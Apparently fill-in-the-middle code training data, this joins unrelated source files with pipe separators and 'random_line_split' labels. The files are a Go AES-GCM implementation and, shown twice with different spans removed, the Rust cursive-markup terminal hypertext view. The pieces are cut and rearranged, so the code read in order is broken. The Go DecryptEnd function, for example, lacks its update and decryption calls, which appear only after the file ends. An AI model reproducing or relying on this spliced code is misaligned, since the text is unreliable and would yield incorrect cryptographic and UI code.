func (g *gcm) DecryptEnd(expectedTag []byte) ([]byte, bool) {
if len(expectedTag) != g.tagSize {
panic("crypto/cipher: incorrect GCM tag size")
}
plaintext := make([]byte, len(g.block))
g.len.ct += len(g.block) |
g.block = nil
g.counter = [gcmBlockSize]byte{}
tag := make([]byte, g.tagSize)
g.authFinal(tag, g.tagaccum, g.len.aad, g.len.ct, &g.tagmask)
g.tagmask = [gcmBlockSize]byte{}
g.tagaccum = gcmFieldElement{}
g.len.aad = 0
g.len.ct = 0
return plaintext, subtle.ConstantTimeCompare(tag, expectedTag) == 1
}
// reverseBits reverses the order of the bits of 4-bit number in i.
func reverseBits(i int) int {
i = ((i << 2) & 0xc) | ((i >> 2) & 0x3)
i = ((i << 1) & 0xa) | ((i >> 1) & 0x5)
return i
}
// gcmAdd adds two elements of GF(2¹²⁸) and returns the sum.
func gcmAdd(x, y *gcmFieldElement) gcmFieldElement {
// Addition in a characteristic 2 field is just XOR.
return gcmFieldElement{x.low ^ y.low, x.high ^ y.high}
}
// gcmDouble returns the result of doubling an element of GF(2¹²⁸).
func gcmDouble(x *gcmFieldElement) (double gcmFieldElement) {
msbSet := x.high&1 == 1
// Because of the bit-ordering, doubling is actually a right shift.
double.high = x.high >> 1
double.high |= x.low << 63
double.low = x.low >> 1
// If the most-significant bit was set before shifting then it,
// conceptually, becomes a term of x^128. This is greater than the
// irreducible polynomial so the result has to be reduced. The
// irreducible polynomial is 1+x+x^2+x^7+x^128. We can subtract that to
// eliminate the term at x^128 which also means subtracting the other
// four terms. In characteristic 2 fields, subtraction == addition ==
// XOR.
if msbSet {
double.low ^= 0xe100000000000000
}
return
}
var gcmReductionTable = []uint16{
0x0000, 0x1c20, 0x3840, 0x2460, 0x7080, 0x6ca0, 0x48c0, 0x54e0,
0xe100, 0xfd20, 0xd940, 0xc560, 0x9180, 0x8da0, 0xa9c0, 0xb5e0,
}
// mul sets y to y*H, where H is the GCM key, fixed during NewGCMWithNonceSize.
func (g *gcm) mul(y *gcmFieldElement) {
var z gcmFieldElement
for i := 0; i < 2; i++ {
word := y.high
if i == 1 {
word = y.low
}
// Multiplication works by multiplying z by 16 and adding in
// one of the precomputed multiples of H.
for j := 0; j < 64; j += 4 {
msw := z.high & 0xf
z.high >>= 4
z.high |= z.low << 60
z.low >>= 4
z.low ^= uint64(gcmReductionTable[msw]) << 48
// the values in |table| are ordered for
// little-endian bit positions. See the comment
// in NewGCMWithNonceSize.
t := &g.productTable[word&0xf]
z.low ^= t.low
z.high ^= t.high
word >>= 4
}
}
*y = z
}
// updateBlocks extends y with more polynomial terms from blocks, based on
// Horner's rule. There must be a multiple of gcmBlockSize bytes in blocks.
func (g *gcm) updateBlocks(y *gcmFieldElement, blocks []byte) {
for len(blocks) > 0 {
y.low ^= binary.BigEndian.Uint64(blocks)
y.high ^= binary.BigEndian.Uint64(blocks[8:])
g.mul(y)
blocks = blocks[gcmBlockSize:]
}
}
// update extends y with more polynomial terms from data. If data is not a
// multiple of gcmBlockSize bytes long then the remainder is zero padded.
func (g *gcm) update(y *gcmFieldElement, data []byte) {
fullBlocks := (len(data) >> 4) << 4
g.updateBlocks(y, data[:fullBlocks])
if len(data) != fullBlocks {
var partialBlock [gcmBlockSize]byte
copy(partialBlock[:], data[fullBlocks:])
g.updateBlocks(y, partialBlock[:])
}
}
// gcmInc32 treats the final four bytes of counterBlock as a big-endian value
// and increments it.
func gcmInc32(counterBlock *[16]byte) {
ctr := counterBlock[len(counterBlock)-4:]
binary.BigEndian.PutUint32(ctr, binary.BigEndian.Uint32(ctr)+1)
}
// counterCrypt crypts in to out using g.cipher in counter mode.
func (g *gcm) counterCrypt(out, in []byte, counter *[gcmBlockSize]byte) {
var mask [gcmBlockSize]byte
for len(in) >= gcmBlockSize {
g.cipher.Encrypt(mask[:], counter[:])
gcmInc32(counter)
xorWords(out, in, mask[:])
out = out[gcmBlockSize:]
in = in[gcmBlockSize:]
}
if len(in) > 0 {
g.cipher.Encrypt(mask[:], counter[:])
gcmInc32(counter)
xorBytes(out, in, mask[:])
}
}
// deriveCounter computes the initial GCM counter state from the given nonce.
// See NIST SP 800-38D, section 7.1. This assumes that counter is filled with
// zeros on entry.
func (g *gcm) deriveCounter(counter *[gcmBlockSize]byte, nonce []byte) {
// GCM has two modes of operation with respect to the initial counter
// state: a "fast path" for 96-bit (12-byte) nonces, and a "slow path"
// for nonces of other lengths. For a 96-bit nonce, the nonce, along
// with a four-byte big-endian counter starting at one, is used
// directly as the starting counter. For other nonce sizes, the counter
// is computed by passing it through the GHASH function.
if len(nonce) == gcmStandardNonceSize {
copy(counter[:], nonce)
counter[gcmBlockSize-1] = 1
} else {
var y gcmFieldElement
g.update(&y, nonce)
y.high ^= uint64(len(nonce)) * 8
g.mul(&y)
binary.BigEndian.PutUint64(counter[:8], y.low)
binary.BigEndian.PutUint64(counter[8:], y.high)
}
}
// auth calculates GHASH(ciphertext, additionalData), masks the result with
// tagMask and writes the result to out.
func (g *gcm) auth(out, ciphertext, additionalData []byte, tagMask *[gcmTagSize]byte) {
var y gcmFieldElement
g.update(&y, additionalData)
g.update(&y, ciphertext)
g.authFinal(out, y, len(additionalData), len(ciphertext), tagMask)
}
func (g *gcm) authFinal(out []byte, y gcmFieldElement, aadlen, ctlen int, tagMask *[gcmTagSize]byte) {
y.low ^= uint64(aadlen) * 8
y.high ^= uint64(ctlen) * 8
g.mul(&y)
binary.BigEndian.PutUint64(out, y.low)
binary.BigEndian.PutUint64(out[8:], y.high)
xorWords(out, out, tagMask[:])
}
// these come from xor_amd64.go. that file replaces the for loop
// below with a call to xorBytesSSE2. it's not clear to me how to
// take advantage of that call in portable kind of way
// xorBytes xors the bytes in a and b. The destination should have enough
// space, otherwise xorBytes will panic. Returns the number of bytes xor'd.
func xorBytes(dst, a, b []byte) int {
n := len(a)
if len(b) < n {
n = len(b)
}
if n == 0 {
return 0
}
_ = dst[n-1]
for i := 0; i < n; i++ {
dst[i] = a[i] ^ b[i]
}
return n
}
func xorWords(dst, a, b []byte) {
xorBytes(dst, a, b)
} | g.update(&g.tagaccum, g.block)
g.counterCrypt(plaintext, g.block, &g.counter) | random_line_split |
lib.rs | // SPDX-FileCopyrightText: 2020 Robin Krahl <robin.krahl@ireas.org>
// SPDX-License-Identifier: Apache-2.0 or MIT
//! `cursive-markup` provides the [`MarkupView`][] for [`cursive`][] that can render HTML or other
//! markup.
//!
//! # Quickstart
//!
//! To render an HTML document, create a [`MarkupView`][] with the [`html`][] method, configure the
//! maximum line width using the [`set_maximum_width`][] method and set callbacks for the links
//! using the [`on_link_select`][] and [`on_link_focus`][] methods.
//!
//! Typically, you’ll want to wrap the view in a [`ScrollView`][] and add it to a
//! [`Cursive`][`cursive::Cursive`] instance.
//!
//! ```
//! // Create the markup view
//! let html = "<a href='https://rust-lang.org'>Rust</a>";
//! let mut view = cursive_markup::MarkupView::html(&html);
//! view.set_maximum_width(120);
//!
//! // Set callbacks that are called if the link focus is changed and if a link is selected with
//! // the Enter key
//! view.on_link_focus(|s, url| {});
//! view.on_link_select(|s, url| {});
//!
//! // Add the view to a Cursive instance
//! use cursive::view::{Resizable, Scrollable};
//! let mut s = cursive::dummy();
//! s.add_global_callback('q', |s| s.quit());
//! s.add_fullscreen_layer(view.scrollable().full_screen());
//! s.run();
//! ```
//!
//! You can use the arrow keys to navigate between the links and press Enter to trigger the
//! [`on_link_select`][] callback.
//!
//! For a complete example, see [`examples/browser.rs`][], a very simple browser implementation.
//!
//! # Components
//!
//! The main component of the crate is [`MarkupView`][]. It is a [`cursive`][] view that displays
//! hypertext: a combination of formatted text and links. You can use the arrow keys to navigate
//! between the links, and the Enter key to select a link.
//!
//! The displayed content is provided and rendered by a [`Renderer`][] instance. If the `html`
//! feature is enabled (default), the [`html::Renderer`][] can be used to parse and render an HTML
//! document with [`html2text`][]. But you can also implement your own [`Renderer`][].
//! [`MarkupView`][] caches the rendered document ([`RenderedDocument`][]) and only invokes the
//! renderer if the width of the view has been changed.
//!
//! ## HTML rendering
//!
//! To customize the HTML rendering, you can change the [`TextDecorator`][] that is used by
//! [`html2text`][] to transform the HTML DOM into annotated strings. Of course the renderer must
//! know how to interpret the annotations, so if you provide a custom decorator, you also have to
//! provide a [`Converter`][] that extracts formatting and links from the annotations.
//!
//! [`cursive`]: https://docs.rs/cursive/latest/cursive/
//! [`cursive::Cursive`]: https://docs.rs/cursive/latest/cursive/struct.Cursive.html
//! [`ScrollView`]: https://docs.rs/cursive/latest/cursive/views/struct.ScrollView.html
//! [`html2text`]: https://docs.rs/html2text/latest/html2text/
//! [`TextDecorator`]: https://docs.rs/html2text/latest/html2text/render/text_renderer/trait.TextDecorator.html
//! [`Converter`]: html/trait.Converter.html
//! [`MarkupView`]: struct.MarkupView.html
//! [`RenderedDocument`]: struct.RenderedDocument.html
//! [`Renderer`]: trait.Renderer.html
//! [`html`]: struct.MarkupView.html#method.html
//! [`set_maximum_width`]: struct.MarkupView.html#method.set_maximum_width
//! [`on_link_select`]: struct.MarkupView.html#method.on_link_select
//! [`on_link_focus`]: struct.MarkupView.html#method.on_link_focus
//! [`html::Renderer`]: html/struct.Renderer.html
//! [`examples/browser.rs`]: https://git.sr.ht/~ireas/cursive-markup-rs/tree/master/examples/browser.rs
#![warn(missing_docs, rust_2018_idioms)]
#[cfg(feature = "html")]
pub mod html;
use std::rc;
use cursive_core::theme;
use unicode_width::UnicodeWidthStr as _;
/// A view for hypertext that has been rendered by a [`Renderer`][].
///
/// This view displays hypertext (a combination of formatted text and links) that typically has
/// been parsed from a markup language. You can use the arrow keys to navigate between the links,
/// and the Enter key to select a link. If the focused link is changed, the [`on_link_focus`][]
/// callback is triggered. If the focused link is selected using the Enter key, the
/// [`on_link_select`][] callback is triggered.
///
/// The displayed hypertext is created by a [`Renderer`][] implementation. The `MarkupView` calls
/// the [`render`][] method with the size constraint provided by `cursive` and receives a
/// [`RenderedDocument`][] that contains the text and the links. This document is cached until the
/// available width changes. | /// [`set_maximum_width`][] method.
///
/// [`RenderedDocument`]: struct.RenderedDocument.html
/// [`Renderer`]: trait.Renderer.html
/// [`render`]: trait.Renderer.html#method.render
/// [`on_link_select`]: #method.on_link_select
/// [`on_link_focus`]: #method.on_link_focus
/// [`set_maximum_width`]: #method.set_maximum_width
pub struct MarkupView<R: Renderer + 'static> {
renderer: R,
doc: Option<RenderedDocument>,
on_link_focus: Option<rc::Rc<LinkCallback>>,
on_link_select: Option<rc::Rc<LinkCallback>>,
maximum_width: Option<usize>,
}
/// A callback that is triggered for a link.
///
/// The first argument is a mutable reference to the current [`Cursive`][] instance. The second
/// argument is the target of the link, typically a URL.
///
/// [`Cursive`]: https://docs.rs/cursive/latest/cursive/struct.Cursive.html
pub type LinkCallback = dyn Fn(&mut cursive_core::Cursive, &str);
/// A renderer that produces a hypertext document.
pub trait Renderer {
/// Renders this document within the given size constraint and returns the result.
///
/// This method is called by [`MarkupView`][] every time the provided width changes.
///
/// [`MarkupView`]: struct.MarkupView.html
fn render(&self, constraint: cursive_core::XY<usize>) -> RenderedDocument;
}
/// A rendered hypertext document that consists of lines of formatted text and links.
#[derive(Clone, Debug)]
pub struct RenderedDocument {
lines: Vec<Vec<RenderedElement>>,
link_handler: LinkHandler,
size: cursive_core::XY<usize>,
constraint: cursive_core::XY<usize>,
}
/// A hypertext element: a formatted string with an optional link target.
#[derive(Clone, Debug, Default)]
pub struct Element {
text: String,
style: theme::Style,
link_target: Option<String>,
}
#[derive(Clone, Debug, Default)]
struct RenderedElement {
text: String,
style: theme::Style,
link_idx: Option<usize>,
}
#[derive(Clone, Debug, Default)]
struct LinkHandler {
links: Vec<Link>,
focus: usize,
}
#[derive(Clone, Debug)]
struct Link {
position: cursive_core::XY<usize>,
width: usize,
target: String,
}
#[cfg(feature = "html")]
impl MarkupView<html::RichRenderer> {
/// Creates a new `MarkupView` that uses a rich text HTML renderer.
///
/// *Requires the `html` feature (enabled per default).*
pub fn html(html: &str) -> MarkupView<html::RichRenderer> {
MarkupView::with_renderer(html::Renderer::new(html))
}
}
impl<R: Renderer + 'static> MarkupView<R> {
/// Creates a new `MarkupView` with the given renderer.
pub fn with_renderer(renderer: R) -> MarkupView<R> {
MarkupView {
renderer,
doc: None,
on_link_focus: None,
on_link_select: None,
maximum_width: None,
}
}
/// Sets the callback that is triggered if the link focus is changed.
///
/// Note that this callback is only triggered if the link focus is changed with the arrow keys.
/// It is not triggered if the view takes focus. The callback will receive the target of the
/// link as an argument.
pub fn on_link_focus<F: Fn(&mut cursive_core::Cursive, &str) + 'static>(&mut self, f: F) {
self.on_link_focus = Some(rc::Rc::new(f));
}
/// Sets the callback that is triggered if a link is selected.
///
/// This callback is triggered if a link is focused and the users presses the Enter key. The
/// callback will receive the target of the link as an argument.
pub fn on_link_select<F: Fn(&mut cursive_core::Cursive, &str) + 'static>(&mut self, f: F) {
self.on_link_select = Some(rc::Rc::new(f));
}
/// Sets the maximum width of the view.
///
/// This means that the width that is available for the renderer is limited to the given value.
pub fn set_maximum_width(&mut self, width: usize) {
self.maximum_width = Some(width);
}
fn render(&mut self, mut constraint: cursive_core::XY<usize>) -> cursive_core::XY<usize> {
let mut last_focus = 0;
if let Some(width) = self.maximum_width {
constraint.x = std::cmp::min(width, constraint.x);
}
if let Some(doc) = &self.doc {
if constraint.x == doc.constraint.x {
return doc.size;
}
last_focus = doc.link_handler.focus;
}
let mut doc = self.renderer.render(constraint);
// TODO: Rendering the document with a different width may lead to links being split up (or
// previously split up links being no longer split up). Ideally, we would adjust the focus
// for these changes.
if last_focus < doc.link_handler.links.len() {
doc.link_handler.focus = last_focus;
}
let size = doc.size;
self.doc = Some(doc);
size
}
}
impl<R: Renderer + 'static> cursive_core::View for MarkupView<R> {
fn draw(&self, printer: &cursive_core::Printer<'_, '_>) {
let doc = &self.doc.as_ref().expect("layout not called before draw");
for (y, line) in doc.lines.iter().enumerate() {
let mut x = 0;
for element in line {
let mut style = element.style;
if let Some(link_idx) = element.link_idx {
if printer.focused && doc.link_handler.focus == link_idx {
style = style.combine(theme::PaletteColor::Highlight);
}
}
printer.with_style(style, |printer| printer.print((x, y), &element.text));
x += element.text.width();
}
}
}
fn layout(&mut self, constraint: cursive_core::XY<usize>) {
self.render(constraint);
}
fn required_size(&mut self, constraint: cursive_core::XY<usize>) -> cursive_core::XY<usize> {
self.render(constraint)
}
fn take_focus(&mut self, direction: cursive_core::direction::Direction) -> bool {
self.doc
.as_mut()
.map(|doc| doc.link_handler.take_focus(direction))
.unwrap_or_default()
}
fn on_event(&mut self, event: cursive_core::event::Event) -> cursive_core::event::EventResult {
use cursive_core::direction::Absolute;
use cursive_core::event::{Callback, Event, EventResult, Key};
let link_handler = if let Some(doc) = self.doc.as_mut() {
if doc.link_handler.links.is_empty() {
return EventResult::Ignored;
} else {
&mut doc.link_handler
}
} else {
return EventResult::Ignored;
};
// TODO: implement mouse support
let focus_changed = match event {
Event::Key(Key::Left) => link_handler.move_focus(Absolute::Left),
Event::Key(Key::Right) => link_handler.move_focus(Absolute::Right),
Event::Key(Key::Up) => link_handler.move_focus(Absolute::Up),
Event::Key(Key::Down) => link_handler.move_focus(Absolute::Down),
_ => false,
};
if focus_changed {
let target = link_handler.links[link_handler.focus].target.clone();
EventResult::Consumed(
self.on_link_focus
.clone()
.map(|f| Callback::from_fn(move |s| f(s, &target))),
)
} else if event == Event::Key(Key::Enter) {
let target = link_handler.links[link_handler.focus].target.clone();
EventResult::Consumed(
self.on_link_select
.clone()
.map(|f| Callback::from_fn(move |s| f(s, &target))),
)
} else {
EventResult::Ignored
}
}
fn important_area(&self, _: cursive_core::XY<usize>) -> cursive_core::Rect {
if let Some(doc) = &self.doc {
doc.link_handler.important_area()
} else {
cursive_core::Rect::from((0, 0))
}
}
}
impl RenderedDocument {
/// Creates a new rendered document with the given size constraint.
///
/// The size constraint is used to check whether a cached document can be reused or whether it
/// has to be rendered for the new constraint. It is *not* enforced by this struct!
pub fn new(constraint: cursive_core::XY<usize>) -> RenderedDocument {
RenderedDocument {
lines: Vec::new(),
link_handler: Default::default(),
size: (0, 0).into(),
constraint,
}
}
/// Appends a rendered line to the document.
pub fn push_line<I: IntoIterator<Item = Element>>(&mut self, line: I) {
let mut rendered_line = Vec::new();
let y = self.lines.len();
let mut x = 0;
for element in line {
let width = element.text.width();
let link_idx = element.link_target.map(|target| {
self.link_handler.push(Link {
position: (x, y).into(),
width,
target,
})
});
x += width;
rendered_line.push(RenderedElement {
text: element.text,
style: element.style,
link_idx,
});
}
self.lines.push(rendered_line);
self.size = self.size.stack_vertical(&(x, 1).into());
}
}
impl Element {
/// Creates a new element with the given text, style and optional link target.
pub fn new(text: String, style: theme::Style, link_target: Option<String>) -> Element {
Element {
text,
style,
link_target,
}
}
/// Creates an element with the given text, with the default style and without a link target.
pub fn plain(text: String) -> Element {
Element {
text,
..Default::default()
}
}
/// Creates an element with the given text and style and without a link target.
pub fn styled(text: String, style: theme::Style) -> Element {
Element::new(text, style, None)
}
/// Creates an element with the given text, style and link target.
pub fn link(text: String, style: theme::Style, target: String) -> Element {
Element::new(text, style, Some(target))
}
}
impl From<String> for Element {
fn from(s: String) -> Element {
Element::plain(s)
}
}
impl From<Element> for RenderedElement {
fn from(element: Element) -> RenderedElement {
RenderedElement {
text: element.text,
style: element.style,
link_idx: None,
}
}
}
impl LinkHandler {
pub fn push(&mut self, link: Link) -> usize {
self.links.push(link);
self.links.len() - 1
}
pub fn take_focus(&mut self, direction: cursive_core::direction::Direction) -> bool {
if self.links.is_empty() {
false
} else {
use cursive_core::direction::{Absolute, Direction, Relative};
let rel = match direction {
Direction::Abs(abs) => match abs {
Absolute::Up | Absolute::Left | Absolute::None => Relative::Front,
Absolute::Down | Absolute::Right => Relative::Back,
},
Direction::Rel(rel) => rel,
};
self.focus = match rel {
Relative::Front => 0,
Relative::Back => self.links.len() - 1,
};
true
}
}
pub fn move_focus(&mut self, direction: cursive_core::direction::Absolute) -> bool {
use cursive_core::direction::{Absolute, Relative};
match direction {
Absolute::Left => self.move_focus_horizontal(Relative::Front),
Absolute::Right => self.move_focus_horizontal(Relative::Back),
Absolute::Up => self.move_focus_vertical(Relative::Front),
Absolute::Down => self.move_focus_vertical(Relative::Back),
Absolute::None => false,
}
}
fn move_focus_horizontal(&mut self, direction: cursive_core::direction::Relative) -> bool {
use cursive_core::direction::Relative;
if self.links.is_empty() {
return false;
}
let new_focus = match direction {
Relative::Front => self.focus.checked_sub(1),
Relative::Back => {
if self.focus < self.links.len() - 1 {
Some(self.focus + 1)
} else {
None
}
}
};
if let Some(new_focus) = new_focus {
if self.links[self.focus].position.y == self.links[new_focus].position.y {
self.focus = new_focus;
true
} else {
false
}
} else {
false
}
}
fn move_focus_vertical(&mut self, direction: cursive_core::direction::Relative) -> bool {
use cursive_core::direction::Relative;
if self.links.is_empty() {
return false;
}
// TODO: Currently, we select the first link on a different line. We could instead select
// the closest link on a different line (if there are multiple links on one line).
let y = self.links[self.focus].position.y;
let iter = self.links.iter().enumerate();
let next = match direction {
Relative::Front => iter
.rev()
.skip(self.links.len() - self.focus)
.find(|(_, link)| link.position.y < y),
Relative::Back => iter
.skip(self.focus + 1)
.find(|(_, link)| link.position.y > y),
};
if let Some((idx, _)) = next {
self.focus = idx;
true
} else {
false
}
}
pub fn important_area(&self) -> cursive_core::Rect {
if self.links.is_empty() {
cursive_core::Rect::from((0, 0))
} else {
let link = &self.links[self.focus];
cursive_core::Rect::from_size(link.position, (link.width, 1))
}
}
} | ///
/// You can also limit the available width by setting a maximum line width with the | random_line_split |
lib.rs | // SPDX-FileCopyrightText: 2020 Robin Krahl <robin.krahl@ireas.org>
// SPDX-License-Identifier: Apache-2.0 or MIT
//! `cursive-markup` provides the [`MarkupView`][] for [`cursive`][] that can render HTML or other
//! markup.
//!
//! # Quickstart
//!
//! To render an HTML document, create a [`MarkupView`][] with the [`html`][] method, configure the
//! maximum line width using the [`set_maximum_width`][] method and set callbacks for the links
//! using the [`on_link_select`][] and [`on_link_focus`][] methods.
//!
//! Typically, you’ll want to wrap the view in a [`ScrollView`][] and add it to a
//! [`Cursive`][`cursive::Cursive`] instance.
//!
//! ```
//! // Create the markup view
//! let html = "<a href='https://rust-lang.org'>Rust</a>";
//! let mut view = cursive_markup::MarkupView::html(&html);
//! view.set_maximum_width(120);
//!
//! // Set callbacks that are called if the link focus is changed and if a link is selected with
//! // the Enter key
//! view.on_link_focus(|s, url| {});
//! view.on_link_select(|s, url| {});
//!
//! // Add the view to a Cursive instance
//! use cursive::view::{Resizable, Scrollable};
//! let mut s = cursive::dummy();
//! s.add_global_callback('q', |s| s.quit());
//! s.add_fullscreen_layer(view.scrollable().full_screen());
//! s.run();
//! ```
//!
//! You can use the arrow keys to navigate between the links and press Enter to trigger the
//! [`on_link_select`][] callback.
//!
//! For a complete example, see [`examples/browser.rs`][], a very simple browser implementation.
//!
//! # Components
//!
//! The main component of the crate is [`MarkupView`][]. It is a [`cursive`][] view that displays
//! hypertext: a combination of formatted text and links. You can use the arrow keys to navigate
//! between the links, and the Enter key to select a link.
//!
//! The displayed content is provided and rendered by a [`Renderer`][] instance. If the `html`
//! feature is enabled (default), the [`html::Renderer`][] can be used to parse and render an HTML
//! document with [`html2text`][]. But you can also implement your own [`Renderer`][].
//! [`MarkupView`][] caches the rendered document ([`RenderedDocument`][]) and only invokes the
//! renderer if the width of the view has been changed.
//!
//! ## HTML rendering
//!
//! To customize the HTML rendering, you can change the [`TextDecorator`][] that is used by
//! [`html2text`][] to transform the HTML DOM into annotated strings. Of course the renderer must
//! know how to interpret the annotations, so if you provide a custom decorator, you also have to
//! provide a [`Converter`][] that extracts formatting and links from the annotations.
//!
//! [`cursive`]: https://docs.rs/cursive/latest/cursive/
//! [`cursive::Cursive`]: https://docs.rs/cursive/latest/cursive/struct.Cursive.html
//! [`ScrollView`]: https://docs.rs/cursive/latest/cursive/views/struct.ScrollView.html
//! [`html2text`]: https://docs.rs/html2text/latest/html2text/
//! [`TextDecorator`]: https://docs.rs/html2text/latest/html2text/render/text_renderer/trait.TextDecorator.html
//! [`Converter`]: html/trait.Converter.html
//! [`MarkupView`]: struct.MarkupView.html
//! [`RenderedDocument`]: struct.RenderedDocument.html
//! [`Renderer`]: trait.Renderer.html
//! [`html`]: struct.MarkupView.html#method.html
//! [`set_maximum_width`]: struct.MarkupView.html#method.set_maximum_width
//! [`on_link_select`]: struct.MarkupView.html#method.on_link_select
//! [`on_link_focus`]: struct.MarkupView.html#method.on_link_focus
//! [`html::Renderer`]: html/struct.Renderer.html
//! [`examples/browser.rs`]: https://git.sr.ht/~ireas/cursive-markup-rs/tree/master/examples/browser.rs
#![warn(missing_docs, rust_2018_idioms)]
#[cfg(feature = "html")]
pub mod html;
use std::rc;
use cursive_core::theme;
use unicode_width::UnicodeWidthStr as _;
/// A view for hypertext that has been rendered by a [`Renderer`][].
///
/// This view displays hypertext (a combination of formatted text and links) that typically has
/// been parsed from a markup language. You can use the arrow keys to navigate between the links,
/// and the Enter key to select a link. If the focused link is changed, the [`on_link_focus`][]
/// callback is triggered. If the focused link is selected using the Enter key, the
/// [`on_link_select`][] callback is triggered.
///
/// The displayed hypertext is created by a [`Renderer`][] implementation. The `MarkupView` calls
/// the [`render`][] method with the size constraint provided by `cursive` and receives a
/// [`RenderedDocument`][] that contains the text and the links. This document is cached until the
/// available width changes.
///
/// You can also limit the available width by setting a maximum line width with the
/// [`set_maximum_width`][] method.
///
/// [`RenderedDocument`]: struct.RenderedDocument.html
/// [`Renderer`]: trait.Renderer.html
/// [`render`]: trait.Renderer.html#method.render
/// [`on_link_select`]: #method.on_link_select
/// [`on_link_focus`]: #method.on_link_focus
/// [`set_maximum_width`]: #method.set_maximum_width
pub struct MarkupView<R: Renderer + 'static> {
renderer: R,
doc: Option<RenderedDocument>,
on_link_focus: Option<rc::Rc<LinkCallback>>,
on_link_select: Option<rc::Rc<LinkCallback>>,
maximum_width: Option<usize>,
}
/// A callback that is triggered for a link.
///
/// The first argument is a mutable reference to the current [`Cursive`][] instance. The second
/// argument is the target of the link, typically a URL.
///
/// [`Cursive`]: https://docs.rs/cursive/latest/cursive/struct.Cursive.html
pub type LinkCallback = dyn Fn(&mut cursive_core::Cursive, &str);
/// A renderer that produces a hypertext document.
pub trait Renderer {
/// Renders this document within the given size constraint and returns the result.
///
/// This method is called by [`MarkupView`][] every time the provided width changes.
///
/// [`MarkupView`]: struct.MarkupView.html
fn render(&self, constraint: cursive_core::XY<usize>) -> RenderedDocument;
}
/// A rendered hypertext document that consists of lines of formatted text and links.
#[derive(Clone, Debug)]
pub struct RenderedDocument {
lines: Vec<Vec<RenderedElement>>,
link_handler: LinkHandler,
size: cursive_core::XY<usize>,
constraint: cursive_core::XY<usize>,
}
/// A hypertext element: a formatted string with an optional link target.
#[derive(Clone, Debug, Default)]
pub struct Element {
text: String,
style: theme::Style,
link_target: Option<String>,
}
#[derive(Clone, Debug, Default)]
struct RenderedElement {
text: String,
style: theme::Style,
link_idx: Option<usize>,
}
#[derive(Clone, Debug, Default)]
struct LinkHandler {
links: Vec<Link>,
focus: usize,
}
#[derive(Clone, Debug)]
struct Link {
position: cursive_core::XY<usize>,
width: usize,
target: String,
}
#[cfg(feature = "html")]
impl MarkupView<html::RichRenderer> {
/// Creates a new `MarkupView` that uses a rich text HTML renderer.
///
/// *Requires the `html` feature (enabled per default).*
pub fn html(html: &str) -> MarkupView<html::RichRenderer> {
MarkupView::with_renderer(html::Renderer::new(html))
}
}
impl<R: Renderer + 'static> MarkupView<R> {
/// Creates a new `MarkupView` with the given renderer.
pub fn with_renderer(renderer: R) -> MarkupView<R> {
MarkupView {
renderer,
doc: None,
on_link_focus: None,
on_link_select: None,
maximum_width: None,
}
}
/// Sets the callback that is triggered if the link focus is changed.
///
/// Note that this callback is only triggered if the link focus is changed with the arrow keys.
/// It is not triggered if the view takes focus. The callback will receive the target of the
/// link as an argument.
pub fn on_link_focus<F: Fn(&mut cursive_core::Cursive, &str) + 'static>(&mut self, f: F) {
self.on_link_focus = Some(rc::Rc::new(f));
}
/// Sets the callback that is triggered if a link is selected.
///
/// This callback is triggered if a link is focused and the users presses the Enter key. The
/// callback will receive the target of the link as an argument.
pub fn on_link_select<F: Fn(&mut cursive_core::Cursive, &str) + 'static>(&mut self, f: F) {
self.on_link_select = Some(rc::Rc::new(f));
}
/// Sets the maximum width of the view.
///
/// This means that the width that is available for the renderer is limited to the given value.
pub fn set_maximum_width(&mut self, width: usize) {
self.maximum_width = Some(width);
}
fn render(&mut self, mut constraint: cursive_core::XY<usize>) -> cursive_core::XY<usize> {
let mut last_focus = 0;
if let Some(width) = self.maximum_width {
constraint.x = std::cmp::min(width, constraint.x);
}
if let Some(doc) = &self.doc {
if constraint.x == doc.constraint.x {
return doc.size;
}
last_focus = doc.link_handler.focus;
}
let mut doc = self.renderer.render(constraint);
// TODO: Rendering the document with a different width may lead to links being split up (or
// previously split up links being no longer split up). Ideally, we would adjust the focus
// for these changes.
if last_focus < doc.link_handler.links.len() {
doc.link_handler.focus = last_focus;
}
let size = doc.size;
self.doc = Some(doc);
size
}
}
impl<R: Renderer + 'static> cursive_core::View for MarkupView<R> {
fn draw(&self, printer: &cursive_core::Printer<'_, '_>) {
| fn layout(&mut self, constraint: cursive_core::XY<usize>) {
self.render(constraint);
}
fn required_size(&mut self, constraint: cursive_core::XY<usize>) -> cursive_core::XY<usize> {
self.render(constraint)
}
fn take_focus(&mut self, direction: cursive_core::direction::Direction) -> bool {
self.doc
.as_mut()
.map(|doc| doc.link_handler.take_focus(direction))
.unwrap_or_default()
}
fn on_event(&mut self, event: cursive_core::event::Event) -> cursive_core::event::EventResult {
use cursive_core::direction::Absolute;
use cursive_core::event::{Callback, Event, EventResult, Key};
let link_handler = if let Some(doc) = self.doc.as_mut() {
if doc.link_handler.links.is_empty() {
return EventResult::Ignored;
} else {
&mut doc.link_handler
}
} else {
return EventResult::Ignored;
};
// TODO: implement mouse support
let focus_changed = match event {
Event::Key(Key::Left) => link_handler.move_focus(Absolute::Left),
Event::Key(Key::Right) => link_handler.move_focus(Absolute::Right),
Event::Key(Key::Up) => link_handler.move_focus(Absolute::Up),
Event::Key(Key::Down) => link_handler.move_focus(Absolute::Down),
_ => false,
};
if focus_changed {
let target = link_handler.links[link_handler.focus].target.clone();
EventResult::Consumed(
self.on_link_focus
.clone()
.map(|f| Callback::from_fn(move |s| f(s, &target))),
)
} else if event == Event::Key(Key::Enter) {
let target = link_handler.links[link_handler.focus].target.clone();
EventResult::Consumed(
self.on_link_select
.clone()
.map(|f| Callback::from_fn(move |s| f(s, &target))),
)
} else {
EventResult::Ignored
}
}
fn important_area(&self, _: cursive_core::XY<usize>) -> cursive_core::Rect {
if let Some(doc) = &self.doc {
doc.link_handler.important_area()
} else {
cursive_core::Rect::from((0, 0))
}
}
}
impl RenderedDocument {
/// Creates a new rendered document with the given size constraint.
///
/// The size constraint is used to check whether a cached document can be reused or whether it
/// has to be rendered for the new constraint. It is *not* enforced by this struct!
pub fn new(constraint: cursive_core::XY<usize>) -> RenderedDocument {
RenderedDocument {
lines: Vec::new(),
link_handler: Default::default(),
size: (0, 0).into(),
constraint,
}
}
/// Appends a rendered line to the document.
pub fn push_line<I: IntoIterator<Item = Element>>(&mut self, line: I) {
let mut rendered_line = Vec::new();
let y = self.lines.len();
let mut x = 0;
for element in line {
let width = element.text.width();
let link_idx = element.link_target.map(|target| {
self.link_handler.push(Link {
position: (x, y).into(),
width,
target,
})
});
x += width;
rendered_line.push(RenderedElement {
text: element.text,
style: element.style,
link_idx,
});
}
self.lines.push(rendered_line);
self.size = self.size.stack_vertical(&(x, 1).into());
}
}
